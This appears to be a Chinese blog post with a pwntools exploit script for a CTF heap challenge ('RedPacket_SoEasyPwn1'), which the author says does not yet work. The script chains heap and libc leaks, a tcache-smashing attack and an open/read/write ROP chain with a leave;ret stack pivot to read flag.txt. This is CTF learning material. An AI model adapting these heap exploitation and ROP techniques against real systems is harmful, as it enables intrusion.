[2020 新春红包题]3(17/100)

思路

这题很奇怪,感觉没问题,也绕过了,但就是打不通,不知道问题在哪

EXP

from pwn import *

#p = process("./RedPacket_SoEasyPwn1")
p = remote('node4.buuoj.cn',29013)
# context.log_level = 'debug'
elf = ELF("./RedPacket_SoEasyPwn1")
libc = ELF('./libc-2.29.so')

s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil("\xf7",timeout = 1)[-4:].ljust(4,"\x00"))
uu64    = lambda                    :u64(p.recvuntil("\x7f",timeout = 1)[-6:].ljust(8,"\x00"))
lg      = lambda name,data          :p.success(name + "-> 0x%x" % data)

def cmd(choice):
    sla('Your input: ',choice)

def add(idx,size,content):
    cmd(1)
    sla('Please input the red packet idx: ',idx)
    sla('How much do you want?(1.0x10 2.0xf0 3.0x300 4.0x400): ',size)
    p.sendafter('Please input content: ',content)

def edit(idx,content):
    cmd(3)
    sla('Please input the red packet idx: ',idx)
    p.sendafter('Please input content: ',content)

def delete(idx):
    cmd(2)
    sla('Please input the red packet idx: ',idx)

def show(idx):
    cmd(4)
    sla('Please input the red packet idx: ',idx)

def dbg():
    gdb.attach(p)
    pause()

for i in range (0,6):
    add(i,2,'a')
    delete(i)
for i in range(0,8):
    add(i,4,'a')
add(8,1,'a')

for i in range(0,8):
    delete(i)

show(6)
heap_head = u64(p.recv(6).ljust(8,'\x00')) - 0x26c0 -0x600
lg('heap_head',heap_head)

show(7)
libc_base = uu64() - 96 - 0x1E4C40
lg('libc_base',libc_base)

read_addr = libc.sym['read'] + libc_base
open_addr = libc.sym['open'] + libc_base
write_addr = libc.sym['write'] + libc_base

#tcache smash
# make background
#chunk1
add(3,3,'a')
#chunk2
add(1,4,'a')
add(2,4,'a')
delete(1)
add(4,3,'a')
add(5,3,'a')
#attack
edit(1,'a'*0x300 + p64(0) + p64(0x101) + p64(heap_head + 0x37e0) + p64(heap_head + 0x250 + 0x10 + 0x800 - 0x10))
add(6,2,'a')

pop_rdi_ret = 0x0000000000026542 + libc_base
pop_rsi_ret = 0x0000000000026f9e + libc_base
pop_rdx_ret = 0x000000000012bda6 + libc_base
leave_ret   = 0x0000000000058373 + libc_base

shell  = p64(pop_rdi_ret) + p64(heap_head + 0x004440) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret)+ p64(0)
shell += p64(open_addr)
shell += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret)+p64(heap_head+0x260) + p64(pop_rdx_ret)+ p64(0x100)
shell += p64(read_addr)
shell += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret)+p64(heap_head+0x260) + p64(pop_rdx_ret)+ p64(0x100)
shell += p64(write_addr)
add(7,4,"flag.txt")
add(8,4,shell)
cmd(666)
pl = 'a'*0x80 + p64(heap_head + 0x004840 + 8)+ p64(leave_ret)
p.recvuntil('What do you want to say?')
p.send(pl)
p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容